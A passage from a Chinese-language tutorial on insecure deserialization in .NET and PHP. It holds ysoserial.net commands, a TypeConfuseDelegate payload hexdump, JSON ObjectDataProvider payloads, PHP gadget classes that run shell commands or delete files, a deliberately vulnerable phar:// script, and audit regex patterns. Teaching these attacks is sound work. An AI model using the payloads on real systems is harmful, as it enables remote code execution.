                      ObjectStateFormatter
                      NetDataContractSerializer
                      LosFormatter
      WindowsIdentity (WindowsIdentity Gadget by Levi Broderick)
              Formatters:
                      BinaryFormatter
                      Json.Net
                      DataContractSerializer
                      SoapFormatter

Available plugins:
      ActivatorUrl (Sends a generated payload to an activated, presumably remote, object)
      Altserialization (Generates payload for HttpStaticObjectsCollection or SessionStateItemCollection)
      ApplicationTrust (Generates XML payload for the ApplicationTrust class)
      Clipboard (Generates payload for DataObject and copy it into the clipboard - ready to be pasted in affected apps)
      DotNetNuke (Generates payload for DotNetNuke CVE-2017-9822)
      Resx (Generates RESX files)
      SessionSecurityTokenHandler (Generates XML payload for the SessionSecurityTokenHandler class)
      SharePoint (Generates poayloads for the following SharePoint CVEs: CVE-2019-0604, CVE-2018-8421)
      TransactionManagerReenlist (Generates payload for the TransactionManager.Reenlist method)
      ViewState (Generates a ViewState using known MachineKey parameters)

可以通过以下命令生成示例反序列化的有效负载:

$ ysoserial-net -f BinaryFormatter -g TypeConfuseDelegate -o raw -c calc.exe > desert.ser

将创建以下对象:

$ hexdump.exe -C desert.ser
00000000 00 01 00 00 00 ff ff ff ff 01 00 00 00 00 00 00 |................|
00000010 00 0c 02 00 00 00 49 53 79 73 74 65 6d 2c 20 56 |......ISystem, V|
00000020 65 72 73 69 6f 6e 3d 34 2e 30 2e 30 2e 30 2c 20 |ersion=4.0.0.0, |
00000030 43 75 6c 74 75 72 65 3d 6e 65 75 74 72 61 6c 2c |Culture=neutral,|
00000040 20 50 75 62 6c 69 63 4b 65 79 54 6f 6b 65 6e 3d | PublicKeyToken=|
00000050 62 37 37 61 35 63 35 36 31 39 33 34 65 30 38 39 |b77a5c561934e089|
00000060 05 01 00 00 00 84 01 53 79 73 74 65 6d 2e 43 6f |.......System.Co|
00000070 6c 6c 65 63 74 69 6f 6e 73 2e 47 65 6e 65 72 69 |llections.Generi|
00000080 63 2e 53 6f 72 74 65 64 53 65 74 60 31 5b 5b 53 |c.SortedSet`1[[S|
00000090 79 73 74 65 6d 2e 53 74 72 69 6e 67 2c 20 6d 73 |ystem.String, ms|
000000a0 63 6f 72 6c 69 62 2c 20 56 65 72 73 69 6f 6e 3d |corlib, Version=|
000000b0 34 2e 30 2e 30 2e 30 2c 20 43 75 6c 74 75 72 65 |4.0.0.0, Culture|
000000c0 3d 6e 65 75 74 72 61 6c 2c 20 50 75 62 6c 69 63 |=neutral, Public|
000000d0 4b 65 79 54 6f 6b 65 6e 3d 62 37 37 61 35 63 35 |KeyToken=b77a5c5|
000000e0 36 31 39 33 34 65 30 38 39 5d 5d 04 00 00 00 05 |61934e089]].....|
000000f0 43 6f 75 6e 74 08 43 6f 6d 70 61 72 65 72 07 56 |Count.Comparer.V|
00000100 65 72 73 69 6f 6e 05 49 74 65 6d 73 00 03 00 06 |ersion.Items....|
00000110 08 8d 01 53 79 73 74 65 6d 2e 43 6f 6c 6c 65 63 |...System.Collec|
00000120 74 69 6f 6e 73 2e 47 65 6e 65 72 69 63 2e 43 6f |tions.Generic.Co|
00000130 6d 70 61 72 69 73 6f 6e 43 6f 6d 70 61 72 65 72 |mparisonComparer|
00000140 60 31 5b 5b 53 79 73 74 65 6d 2e 53 74 72 69 6e |`1[[System.Strin|
00000150 67 2c 20 6d 73 63 6f 72 6c 69 62 2c 20 56 65 72 |g, mscorlib, Ver|
00000160 73 69 6f 6e 3d 34 2e 30 2e 30 2e 30 2c 20 43 75 |sion=4.0.0.0, Cu|
00000170 6c 74 75 72 65 3d 6e 65 75 74 72 61 6c 2c 20 50 |lture=neutral, P|
00000180 75 62 6c 69 63 4b 65 79 54 6f 6b 65 6e 3d 62 37 |ublicKeyToken=b7|
00000190 37 61 35 63 35 36 31 39 33 34 65 30 38 39 5d 5d |7a5c561934e089]]|
000001a0 08 02 00 00 00 02 00 00 00 09 03 00 00 00 02 00 |................|
000001b0 00 00 09 04 00 00 00 04 03 00 00 00 8d 01 53 79 |..............Sy|
000001c0 73 74 65 6d 2e 43 6f 6c 6c 65 63 74 69 6f 6e 73 |stem.Collections|
000001d0 2e 47 65 6e 65 72 69 63 2e 43 6f 6d 70 61 72 69 |.Generic.Compari|
000001e0 73 6f 6e 43 6f 6d 70 61 72 65 72 60 31 5b 5b 53 |sonComparer`1[[S|
000001f0 79 73 74 65 6d 2e 53 74 72 69 6e 67 2c 20 6d 73 |ystem.String, ms|
00000200 63 6f 72 6c 69 62 2c 20 56 65 72 73 69 6f 6e 3d |corlib, Version=|
00000210 34 2e 30 2e 30 2e 30 2c 20 43 75 6c 74 75 72 65 |4.0.0.0, Culture|
00000220 3d 6e 65 75 74 72 61 6c 2c 20 50 75 62 6c 69 63 |=neutral, Public|
00000230 4b 65 79 54 6f 6b 65 6e 3d 62 37 37 61 35 63 35 |KeyToken=b77a5c5|
00000240 36 31 39 33 34 65 30 38 39 5d 5d 01 00 00 00 0b |61934e089]].....|
00000250 5f 63 6f 6d 70 61 72 69 73 6f 6e 03 22 53 79 73 |_comparison."Sys|
00000260 74 65 6d 2e 44 65 6c 65 67 61 74 65 53 65 72 69 |tem.DelegateSeri|
00000270 61 6c 69 7a 61 74 69 6f 6e 48 6f 6c 64 65 72 09 |alizationHolder.|
00000280 05 00 00 00 11 04 00 00 00 02 00 00 00 06 06 00 |................|
00000290 00 00 0b 2f 63 20 63 61 6c 63 2e 65 78 65 06 07 |.../c calc.exe..|
000002a0 00 00 00 03 63 6d 64 04 05 00 00 00 22 53 79 73 |....cmd....."Sys|
000002b0 74 65 6d 2e 44 65 6c 65 67 61 74 65 53 65 72 69 |tem.DelegateSeri|
000002c0 61 6c 69 7a 61 74 69 6f 6e 48 6f 6c 64 65 72 03 |alizationHolder.|
000002d0 00 00 00 08 44 65 6c 65 67 61 74 65 07 6d 65 74 |....Delegate.met|
000002e0 68 6f 64 30 07 6d 65 74 68 6f 64 31 03 03 03 30 |hod0.method1...0|
000002f0 53 79 73 74 65 6d 2e 44 65 6c 65 67 61 74 65 53 |System.DelegateS|
00000300 65 72 69 61 6c 69 7a 61 74 69 6f 6e 48 6f 6c 64 |erializationHold|
00000310 65 72 2b 44 65 6c 65 67 61 74 65 45 6e 74 72 79 |er+DelegateEntry|
00000320 2f 53 79 73 74 65 6d 2e 52 65 66 6c 65 63 74 69 |/System.Reflecti|
00000330 6f 6e 2e 4d 65 6d 62 65 72 49 6e 66 6f 53 65 72 |on.MemberInfoSer|
00000340 69 61 6c 69 7a 61 74 69 6f 6e 48 6f 6c 64 65 72 |ializationHolder|
00000350 2f 53 79 73 74 65 6d 2e 52 65 66 6c 65 63 74 69 |/System.Reflecti|
00000360 6f 6e 2e 4d 65 6d 62 65 72 49 6e 66 6f 53 65 72 |on.MemberInfoSer|
00000370 69 61 6c 69 7a 61 74 69 6f 6e 48 6f 6c 64 65 72 |ializationHolder|
00000380 09 08 00 00 00 09 09 00 00 00 09 0a 00 00 00 04 |................|
00000390 08 00 00 00 30 53 79 73 74 65 6d 2e 44 65 6c 65 |....0System.Dele|
000003a0 67 61 74 65 53 65 72 69 61 6c 69 7a 61 74 69 6f |gateSerializatio|
000003b0 6e 48 6f 6c 64 65 72 2b 44 65 6c 65 67 61 74 65 |nHolder+Delegate|
000003c0 45 6e 74 72 79 07 00 00 00 04 74 79 70 65 08 61 |Entry.....type.a|
000003d0 73 73 65 6d 62 6c 79 06 74 61 72 67 65 74 12 74 |ssembly.target.t|
000003e0 61 72 67 65 74 54 79 70 65 41 73 73 65 6d 62 6c |argetTypeAssembl|
000003f0 79 0e 74 61 72 67 65 74 54 79 70 65 4e 61 6d 65 |y.targetTypeName|
00000400 0a 6d 65 74 68 6f 64 4e 61 6d 65 0d 64 65 6c 65 |.methodName.dele|
00000410 67 61 74 65 45 6e 74 72 79 01 01 02 01 01 01 03 |gateEntry.......|
00000420 30 53 79 73 74 65 6d 2e 44 65 6c 65 67 61 74 65 |0System.Delegate|
00000430 53 65 72 69 61 6c 69 7a 61 74 69 6f 6e 48 6f 6c |SerializationHol|
00000440 64 65 72 2b 44 65 6c 65 67 61 74 65 45 6e 74 72 |der+DelegateEntr|
00000450 79 06 0b 00 00 00 b0 02 53 79 73 74 65 6d 2e 46 |y.......System.F|
00000460 75 6e 63 60 33 5b 5b 53 79 73 74 65 6d 2e 53 74 |unc`3[[System.St|
00000470 72 69 6e 67 2c 20 6d 73 63 6f 72 6c 69 62 2c 20 |ring, mscorlib, |
00000480 56 65 72 73 69 6f 6e 3d 34 2e 30 2e 30 2e 30 2c |Version=4.0.0.0,|
00000490 20 43 75 6c 74 75 72 65 3d 6e 65 75 74 72 61 6c | Culture=neutral|
000004a0 2c 20 50 75 62 6c 69 63 4b 65 79 54 6f 6b 65 6e |, PublicKeyToken|
000004b0 3d 62 37 37 61 35 63 35 36 31 39 33 34 65 30 38 |=b77a5c561934e08|
000004c0 39 5d 2c 5b 53 79 73 74 65 6d 2e 53 74 72 69 6e |9],[System.Strin|
000004d0 67 2c 20 6d 73 63 6f 72 6c 69 62 2c 20 56 65 72 |g, mscorlib, Ver|
000004e0 73 69 6f 6e 3d 34 2e 30 2e 30 2e 30 2c 20 43 75 |sion=4.0.0.0, Cu|
000004f0 6c 74 75 72 65 3d 6e 65 75 74 72 61 6c 2c 20 50 |lture=neutral, P|
00000500 75 62 6c 69 63 4b 65 79 54 6f 6b 65 6e 3d 62 37 |ublicKeyToken=b7|
00000510 37 61 35 63 35 36 31 39 33 34 65 30 38 39 5d 2c |7a5c561934e089],|
00000520 5b 53 79 73 74 65 6d 2e 44 69 61 67 6e 6f 73 74 |[System.Diagnost|
00000530 69 63 73 2e 50 72 6f 63 65 73 73 2c 20 53 79 73 |ics.Process, Sys|
00000540 74 65 6d 2c 20 56 65 72 73 69 6f 6e 3d 34 2e 30 |tem, Version=4.0|
00000550 2e 30 2e 30 2c 20 43 75 6c 74 75 72 65 3d 6e 65 |.0.0, Culture=ne|
00000560 75 74 72 61 6c 2c 20 50 75 62 6c 69 63 4b 65 79 |utral, PublicKey|
00000570 54 6f 6b 65 6e 3d 62 37 37 61 35 63 35 36 31 39 |Token=b77a5c5619|
00000580 33 34 65 30 38 39 5d 5d 06 0c 00 00 00 4b 6d 73 |34e089]].....Kms|
00000590 63 6f 72 6c 69 62 2c 20 56 65 72 73 69 6f 6e 3d |corlib, Version=|
000005a0 34 2e 30 2e 30 2e 30 2c 20 43 75 6c 74 75 72 65 |4.0.0.0, Culture|
000005b0 3d 6e 65 75 74 72 61 6c 2c 20 50 75 62 6c 69 63 |=neutral, Public|
000005c0 4b 65 79 54 6f 6b 65 6e 3d 62 37 37 61 35 63 35 |KeyToken=b77a5c5|
000005d0 36 31 39 33 34 65 30 38 39 0a 06 0d 00 00 00 49 |61934e089......I|
000005e0 53 79 73 74 65 6d 2c 20 56 65 72 73 69 6f 6e 3d |System, Version=|
000005f0 34 2e 30 2e 30 2e 30 2c 20 43 75 6c 74 75 72 65 |4.0.0.0, Culture|
00000600 3d 6e 65 75 74 72 61 6c 2c 20 50 75 62 6c 69 63 |=neutral, Public|
00000610 4b 65 79 54 6f 6b 65 6e 3d 62 37 37 61 35 63 35 |KeyToken=b77a5c5|
00000620 36 31 39 33 34 65 30 38 39 06 0e 00 00 00 1a 53 |61934e089......S|
00000630 79 73 74 65 6d 2e 44 69 61 67 6e 6f 73 74 69 63 |ystem.Diagnostic|
00000640 73 2e 50 72 6f 63 65 73 73 06 0f 00 00 00 05 53 |s.Process......S|
00000650 74 61 72 74 09 10 00 00 00 04 09 00 00 00 2f 53 |tart........../S|
00000660 79 73 74 65 6d 2e 52 65 66 6c 65 63 74 69 6f 6e |ystem.Reflection|
00000670 2e 4d 65 6d 62 65 72 49 6e 66 6f 53 65 72 69 61 |.MemberInfoSeria|
00000680 6c 69 7a 61 74 69 6f 6e 48 6f 6c 64 65 72 07 00 |lizationHolder..|
00000690 00 00 04 4e 61 6d 65 0c 41 73 73 65 6d 62 6c 79 |...Name.Assembly|
000006a0 4e 61 6d 65 09 43 6c 61 73 73 4e 61 6d 65 09 53 |Name.ClassName.S|
000006b0 69 67 6e 61 74 75 72 65 0a 53 69 67 6e 61 74 75 |ignature.Signatu|
000006c0 72 65 32 0a 4d 65 6d 62 65 72 54 79 70 65 10 47 |re2.MemberType.G|
000006d0 65 6e 65 72 69 63 41 72 67 75 6d 65 6e 74 73 01 |enericArguments.|
000006e0 01 01 01 01 00 03 08 0d 53 79 73 74 65 6d 2e 54 |........System.T|
000006f0 79 70 65 5b 5d 09 0f 00 00 00 09 0d 00 00 00 09 |ype[]...........|
00000700 0e 00 00 00 06 14 00 00 00 3e 53 79 73 74 65 6d |.........>System|
00000710 2e 44 69 61 67 6e 6f 73 74 69 63 73 2e 50 72 6f |.Diagnostics.Pro|
00000720 63 65 73 73 20 53 74 61 72 74 28 53 79 73 74 65 |cess Start(Syste|
00000730 6d 2e 53 74 72 69 6e 67 2c 20 53 79 73 74 65 6d |m.String, System|
00000740 2e 53 74 72 69 6e 67 29 06 15 00 00 00 3e 53 79 |.String).....>Sy|
00000750 73 74 65 6d 2e 44 69 61 67 6e 6f 73 74 69 63 73 |stem.Diagnostics|
00000760 2e 50 72 6f 63 65 73 73 20 53 74 61 72 74 28 53 |.Process Start(S|
00000770 79 73 74 65 6d 2e 53 74 72 69 6e 67 2c 20 53 79 |ystem.String, Sy|
00000780 73 74 65 6d 2e 53 74 72 69 6e 67 29 08 00 00 00 |stem.String)....|
00000790 0a 01 0a 00 00 00 09 00 00 00 06 16 00 00 00 07 |................|
000007a0 43 6f 6d 70 61 72 65 09 0c 00 00 00 06 18 00 00 |Compare.........|
000007b0 00 0d 53 79 73 74 65 6d 2e 53 74 72 69 6e 67 06 |..System.String.|
000007c0 19 00 00 00 2b 49 6e 74 33 32 20 43 6f 6d 70 61 |....+Int32 Compa|
000007d0 72 65 28 53 79 73 74 65 6d 2e 53 74 72 69 6e 67 |re(System.String|
000007e0 2c 20 53 79 73 74 65 6d 2e 53 74 72 69 6e 67 29 |, System.String)|
000007f0 06 1a 00 00 00 32 53 79 73 74 65 6d 2e 49 6e 74 |.....2System.Int|
00000800 33 32 20 43 6f 6d 70 61 72 65 28 53 79 73 74 65 |32 Compare(Syste|
00000810 6d 2e 53 74 72 69 6e 67 2c 20 53 79 73 74 65 6d |m.String, System|
00000820 2e 53 74 72 69 6e 67 29 08 00 00 00 0a 01 10 00 |.String)........|
00000830 00 00 08 00 00 00 06 1b 00 00 00 71 53 79 73 74 |...........qSyst|
00000840 65 6d 2e 43 6f 6d 70 61 72 69 73 6f 6e 60 31 5b |em.Comparison`1[|
00000850 5b 53 79 73 74 65 6d 2e 53 74 72 69 6e 67 2c 20 |[System.String, |
00000860 6d 73 63 6f 72 6c 69 62 2c 20 56 65 72 73 69 6f |mscorlib, Versio|
00000870 6e 3d 34 2e 30 2e 30 2e 30 2c 20 43 75 6c 74 75 |n=4.0.0.0, Cultu|
00000880 72 65 3d 6e 65 75 74 72 61 6c 2c 20 50 75 62 6c |re=neutral, Publ|
00000890 69 63 4b 65 79 54 6f 6b 65 6e 3d 62 37 37 61 35 |icKeyToken=b77a5|
000008a0 63 35 36 31 39 33 34 65 30 38 39 5d 5d 09 0c 00 |c561934e089]]...|
000008b0 00 00 0a 09 0c 00 00 00 09 18 00 00 00 09 16 00 |................|
000008c0 00 00 0a 0b                                       |....|

尝试反序列化上述对象会导致在系统上生成一个计算器。从命令中可以看出,gadget  TypeConfuseDelegate 被用于漏洞利用。此gadget 使用的过程与上面自定义实现的 RCE 类使用的过程不同但相似。

在深入挖掘 TypeConfuseDelegate 使用的流程之前,有必要描述一下 Delegate 类在 .NET 架构中是如何使用的,以及如何以与上述 RCE 类类似的方式通过不安全的反序列化来利用它。考虑以下类:

[Serializable] 
public class WrapEvent : IDeserializationCallback
{
  Delegate _delegated;
  string _parameters;
  public WrapEvent(Delegate delegated, string parameters)
  {
      _delegated = delegated;
      _parameters = parameters;
  }
  public bool Run()
  {
      return (bool)_delegated.DynamicInvoke(_parameters);
  }

  public void OnDeserialization(object sender)
  {
      Run();
  }
}

这如何利用?主要思想是找到一种方法将delegate 参数设置为System.Diagnostic.Process 并将parameters 设置为要执行的命令。

为实现此结果,TypeConfuseDelegate 生成一个有效负载,操作步骤如下:

  1. 创建一个比较对象(比较字符串的函数)

  2. 创建一个带有两个条目的 MulticastDelegate,将它们都设置为比较(current object = MulticastDelegate<Comparison(String,String),Comparison(String,String)>)

  3. 创建一个SortedSet,并关联ComparisonComparer作为比较函数

  4. 使用introspection,将比较对象之一的类型更改为 Process.Start -->这是有效的,因为默认情况下,Microsoft 不强制执行委托对象的类型签名

  5. 将两个字符串(“cmd”、“args”)添加到 SortedSet

注意 cmd, args 可以是任何command - args 组合

反序列化后,将发生以下情况:

  1. 为了重建 SortedSet,重新初始化比较函数

  2. ComparerComparison 调用 MulticastDelegate 作为它的比较委托

  3. 为了操作比较,MulticastDelegate 并行运行 Compare() 和 Start() 函数

  4. Compare() 只会将“cmd”和“arg”作为字符串进行比较

  5. Start() 将产生一个进程并执行“cmd”和“args”作为操作系统命令

2.2.3 . NET:基于文本的存储格式

和 JAVA一样,.NET 也无法避免基于文本存储格式的反序列化问题(例如 XML、JSON、[Net]DataContract)。

  • XmlSerializer (XML)

  • [Net]DataContractSerializer (XML dialect)

  • JavaScriptSerializer (JSON)

注意:[Net]DataContractSerializer 不会被考虑在内

1)XML

作为 XML 序列化的示例,让我们考虑以下示例:

public static void xmlDesertDeserial(string filename) 
{
var stream = new FileStream(filename, FileMode.Open, FileAccess.Read);
var reader = new StreamReader(stream);
XmlSerializer serializer = new XmlSerializer(typeof(Desert));
Deseriliazing a dEsert object.. isn't it?
var desert = (Desert)serializer.Deserialize(reader);
reader.Close();
stream.Close();
}

唯一需要注意的有价值的部分是:

  • (Desert)serializer.Deserialize(reader) 转换不提供任何额外的保护,因为转换逻辑上是在反序列化过程之后

  • typeof(Desert) 将禁止 XmlSerializer 反序列化其他类

这意味着即使使用以下序列化器制作 xml,它也不起作用:

 [Serializable]
public class RCE
{
private String _cmd = "calc.exe";
public String cmd
{
get { return _cmd; }
set { _cmd = value; }
}

public void Run()
{
System.Diagnostics.Process p = new System.Diagnostics.Process();
p.StartInfo.FileName = _cmd;
p.Start();
p.Dispose();
}
}

public static void xmlRCESerial(string filename)
{
Create desert name
var rce = new RCE();
Persist to file
TextWriter writer = new StreamWriter(filename + ".xml");
XmlSerializer serializer = new XmlSerializer(typeof(Desert));
Console.WriteLine("Serializing desert (!?)");
serializer.Serialize(writer, rce);
writer.Close();
}

但是,如果攻击者可以控制 XmlSerializer 的预期类型,则可以利用此功能。

在这种情况下,可以制作生成序列化版本的RCE 类,或使用 ysoserial.net:

$ ysoserial-net -g ObjectDataProvider -f XmlSerializer -c "calc" -o raw

2)JSON

在他们的研究中,JSON 攻击,Alvaro Muñoz 和 Oleksandr Mirosh 解释了如何应用类似的 JAVA JSON 反序列化方法来利用 .NET JSON 反序列化。该研究非常准确,并指出了受此漏洞影响的库列表。本文不会详细介绍每个库,而是更侧重于解释 JSON 和 XML/二进制反序列化在利用方面没有实际区别。

研究表明,为了成功利用 JSON 反序列化,必须满足以下条件:

  1. 攻击者可以控制重构对象的类型[与二进制/xml利用方式相同]

a. 可以指定类型==>_type, $type, class, classname, javaClass等

b. 加载库和实例化类型

  1. 库/GC 将调用重构对象的方法 [Setter/Getter/Constructors/Destructors,与 binary/xml 相同]

  2. 在重建时/重建后执行的方法上有gadget 链 [可见性约束,与二进制/xml 相同]

正如所强调的,与其他存储格式已经提出的限制没有太大区别。

为了证明这一点,以 JavaScriptSerializer 为例。这个特定的序列化器本身并不容易受到攻击,因为它默认不允许对非本机类型进行反序列化。但是,当与 SimpleTypeResolver 结合使用时,它变得容易受到攻击,因为此解析器启用自定义类型反序列化。考虑以下易受攻击的示例:

public static void jsonRCEDeserial(string filename)
{
  filename += ".json";
  Vulnerable use of JavaScriptSerializer
  JavaScriptSerializer serializer = new JavaScriptSerializer(new SimpleTypeResolver());
  var stream = new FileStream(filename, FileMode.Open, FileAccess.Read);
  var reader = new StreamReader(stream);
  var desert = serializer.Deserialize<Desert>(reader.ReadToEnd());
  reader.Close();
  stream.Close();
}

[Serializable]
public class RCE
{
  private String _cmd;
  public String cmd
  {
      get { return _cmd; }
      set
      {
          _cmd = value;
          Run();
      }
  }

  public void Run()
  {
      System.Diagnostics.Process p = new System.Diagnostics.Process();
      p.StartInfo.FileName = _cmd;
      p.Start();
      p.Dispose();
  }
}

[Serializable]
public class Desert
{
  private String _name;
  public String name
  {
      get { return _name; }
      set { _name = value; Console.WriteLine("Desert name: " + _name); }
  }
}

可以观察到,序列化器被不安全地用于反序列化预期的 Desert 对象。然而,反序列化器的类型定义没有禁止未知对象的反序列化,因为 JavaScriptSerializer 不执行任何白名单或对象类型的检查。因此,如前所述,RCE 类可以用作有效的gadget,在反序列化过程中触发远程命令执行。

要构建成功的有效负载,可以使用以下代码:

public static void jsonRCESerial(string filename)
{
filename += ".json";
var desert = new RCE();
desert.cmd = "calc.exe";
Persist to file
using (StreamWriter stream = File.CreateText(filename))
{
Console.WriteLine("Serializing RCE");
JavaScriptSerializer serializer = new JavaScriptSerializer();
stream.Write(serializer.Serialize(desert));
}
}

这将产生以下有效载荷:

{"__type":"BinarySerialization.RCE, BinarySeriliazer, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null","cmd":"calc.exe"}

当然,也可以使用 ysoserial.net 生成漏洞利用负载:

$ ysoserial-net -g ObjectDataProvider -f JavaScriptSerializer -c "calc" -o raw
{
  '__type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
  'MethodName':'Start',
  'ObjectInstance':{
      '__type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
      'StartInfo': {
          '__type':'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
          'FileName':'cmd',
          'Arguments':'/c calc'
      }
  }
}

2.2.4 源代码审计小技巧

要找到这种漏洞,搜索常见正则表达式的代码通常是一个好的开始,例如:

  • (JavaScript|Xml|(Net)*DataContract)Serializer

  • (Binary|ObjectState|Los|Soap|Client|Server)Formatter

  • Json.Net

  • YamlDotNet

  • FastJson

  • Xaml

  • TypeNameHandling

  • SimpleTypeResolver

  • (Serialization|Deerialize|UnsafeDeserialize)

  • (ComponentModel.Activity|Load|Activity.Load)

  • ResourceReader

  • (ProxyObject|DecodeSerializedObject|DecodeValue)

  • ServiceStack.Text

对于每个匹配项,应该人工检查代码以查看被反序列化的对象是否可以被外部攻击者操纵。

2.3 PHP

2.3.1 原生序列化存储

PHP 通过其方法 serialize() 和 unserialize() 提供原生序列化支持,可用于序列化和反序列化任何应该存储、传输或转换的 PHP 对象的。PHP 序列化对象格式,与 JSON 数组格式相差不大,并且易于阅读。

PHP serialized object example:
O:8:"abcd1234":1:{s:7:"AString";s:13:"AnotherString";}

如何阅读呢?

  • O: Object,对象

  • 8: Class Name Length,类名长度

  • “abcd1234”: Class Name,类名

  • 1: Number of properties,属性数量

  • {}: Properties,属性

  • s:7: String of length 7,字符串长度

  • s:13: String of length 13,字符串长度

PHP 中序列化对象的一个很好的例子是会话文件,通常存储在/var/lib/php5/sess_[PHPSESSID]

1)PHP:与 Java 和 .NET 的区别

PHP 中的利用难度取决于应用程序特定的实现。正如 JAVA 和 .NET 所示,利用反序列化需要链或利用以特定方式(gadgets)实现的类/对象。这意味着,如果 PHP 应用程序是用纯函数式 PHP 构建的,将无法找到有效的 POP  gadgets,这将几乎不可能利用反序列化问题。更复杂的是,基于 PHP 的框架/应用程序之间并没有统一共享 PHP 库;因此,这种利用过程是不可行的。

显然,这并不意味着它不可利用,而是意味着,需要深入了解反序列化过程中的应用流程。

PHP 主要使用serialize和unserialize函数来序列化/反序列化数据。只要存在适合利用的gadgets,这两个功能就容易受到攻击,这意味着需要对应用程序实现的类进行深入研究,以了解是否存在可利用的条件。

在进一步讨论之前,最好先介绍一下 PHP 魔术方法。在 PHP 中,魔术方法是在面向对象的 PHP 中使用的标准 API 的函数。如果满足某些条件,将自动调用这些方法。最著名的魔术方法是:

  • __construct():PHP 类构造函数,如果在类中实现,则在创建对象时自动调用

  • __destruct():PHP 类析构函数,如果在类中实现,当对象的引用从内存中移除时会自动调用

  • __toString():如果对象被视为字符串则执行的 PHP 回调

  • __wakeup():在反序列化时执行的 PHP 回调

有关所有 PHP 魔术方法的详尽列表,请参阅以下链接:

  • https://www.php.net/manual/en/language.oop5.magic.php

2)PHP:如何搜索有效的“GADGETS”

在调用反序列化之后,可能会在反序列化的对象上调用魔术方法,这可能会导致 RCE。

可以通过分析以下示例来了解该过程是如何工作的:

<?php

class RCE {

public $cmd;

function __construct($cmd){
$this->cmd = $cmd;
}

function __wakeup(){
shell_exec($this->cmd);
}
}

class FileDelete{

public $filename;

function usefile(){
Do something
}

function __destruct(){
unlink($this->filename);
}
}

class Desert{
public $name;

function __construct($name){
$this->name = $name;
echo("[+] Constructing new desert!\n");
}

function __toString(){
echo("[+] The desert is called: $this->name!\n");
return $this->name;
}

function __wakeup(){
echo("[+] New Desert created! Hello $this->name!\n");
}

function __destruct(){
echo("[+] Bye Bye $this->name\n");
}

}

$testfile = @fopen("test", "w+");
@fclose($testfile);

if($argc < 2){
echo("[-] Not enough parameters");
}else if($argv[1] === "-d"){
$desert = unserialize(file_get_contents("desert"));
}else if(($argv[1] === "-e") and ($argc > 2)){
if($argv[2] === "desert"){
file_put_contents("desert", serialize(new Desert("Sahara")));
}else if($argv[2] === "rce"){
file_put_contents("desert", serialize(new RCE("cmd c calc")));
}else if($argv[1] == "file-delete"){
file_put_contents("desert", serialize(new FileDelete("test")));
}
}
?>

这个小脚本充当三个不同类的序列化器和反序列化器,为了简单起见,它们以非常直观的方式命名,尊重迄今为止提供的其他示例的标准格式。

脚本中需要注意的重要事项:

  • RCE 类 是用于远程命令执行的有效 PHP  gadget ,具有潜在的向量 __wakeup

  • FileDelete 类是用于任意文件删除的有效gadget,具有潜在的向量 __destruct

  • Desert 类是主要的类。我们将使用它来研究在反序列化过程中跟踪函数调用

函数调用:

可以使用以下命令生成有效的desert 文件:

$ php php-desert.php -e desert
[+] Constructing new desert!
[+] Bye Bye Sahara

观察输出,可以看到 __construct
__destruct
都被调用了。如果反序列化,它将产生以下输出:

$ php php-desert.php -d
[+] New Desert created! Hello Sahara!
[+] Bye Bye Sahara

有意思的是, __construct
没被调用,当然,__toString
也没有被调用。这清楚地表明,用于反序列化开发的最可靠方法是:

  • __wekeup

  • __destruct

因为它们是在反序列化期间肯定会在对象上执行的唯一两种方法。所有其他的,即使在某些情况下可利用,都与应用程序实现相关联,并且可能会或可能不会在对象上调用。

如果 FileDelete 类被序列化,则应该注意,在反序列化时,文件名 test 将被删除。当然,由于没有实现输入验证,读者可能会尝试利用任意文件。相反,如果 RCE 类被序列化:

$ php php-desert.php -e rce
$ php php-desert.php -d

计算器将在托管服务器上弹出。

要阅读有关 PHP 反序列化的更多信息,您可能会对以下练习感兴趣:

  • https://klezVirus.github.io/reviews/vulnhub/raven2

本练习是该系列的一部分HTB and VulnHub, an OSWE Approach

3)PHP:PHAR 驱动的反序列化

PHP 另一个有趣的特性是反序列化可能会被某些特殊条件触发,例如使用 PHP Wrappers 加载对象。

在下一段中,将展示如何利用“phar://”的文件操作实现序列化利用。当然,为了利用成功,攻击者可能能够控制在文件操作期间使用的文件。逻辑流程可以总结如下:

  1. 用户提供的输入:$file = “phar://evil.phar/evil”

  2. 实现函数:$phar = fopen -> read: $file, file_get_contents: $file

  3. phar:// 引起的调用:$obj = unserialize($phar)

  4. 由反序列化引起的调用:$obj.__destruct()

上面的逻辑流程表明,这种利用的唯一两个可能的向量是:__destruct
__wakeup
,因为它们是在 phar://  wrapper引发的反序列化期间调用的唯一两个向量。

以下代码段提供了易受攻击的代码示例。可以观察到,PHP 文件中没有实现类,但是 Slim、Yii 和 Guzzle 是通过供应商自动加载脚本安装和需要的。

<?php
error_reporting(0);
// Requiring Slim, Yii and Guzzle (mod version) to enable visibility over POP gadgets
// php composer.phar yii/yii:1.1.20
// php composer.phar require slim/slim:3.8.1
// php composer.phar require guzzlehttp/guzzle:6.0.1 (re-unpatched version)
require 'vendor/autoload.php';

// Function vulnerable to phar:// deserialization
function vulnerable_to_phar($filename){
  echo("[*] Open file: $filename");
  $content = file_get_contents($filename);
  print($content); Enable this line to use Slim RCE
}

// Function vulnerable to RCE via insecure deserialization
function vulnerable_to_rce_via_gadgets($filename){
  echo("[*] Deserializing: $filename");
  $desert = unserialize(file_get_contents($filename));
  print($desert);
}
// Getting args from stdin
$args = getopt("f:p");
$file = $args["f"] or die("[-] Filename is required");

// Executing vulnerable functions
if(is_bool($args["p"])){
  vulnerable_to_phar($file);
}else{
  vulnerable_to_rce_via_gadgets($file);
}
?>

仔细查看该文件,很明显潜在漏洞有两个。其中一个可以通过正常的反序列化来利用,而另一个可以通过 phar:// 诱导的反序列化来利用。这次不是手动搜索合适的类,而是使用一个非常方便的工具,称为 PHPGGC。

2.3.2 动态生成有效载荷:PHPGGC

在上一节中,已经说明使用 POP  gadget 链来概括对 PHP 应用程序的利用是不可行的。然而,在这些年里,大量的 POP  gadget (特定于框架的)已经被识别并收集在 ysoserial 的非官方 PHP 版本 PHPGGC 中。

作为ysoserial,这是一个非常强大的工具,它可以为许多不同的PHP框架自动创建gadget链,例如:

  • Drupal7

  • Wordpress

  • ZendFramework

  • Slim

  • Laravel

  • Magento

  • Guzzle

  • 等等

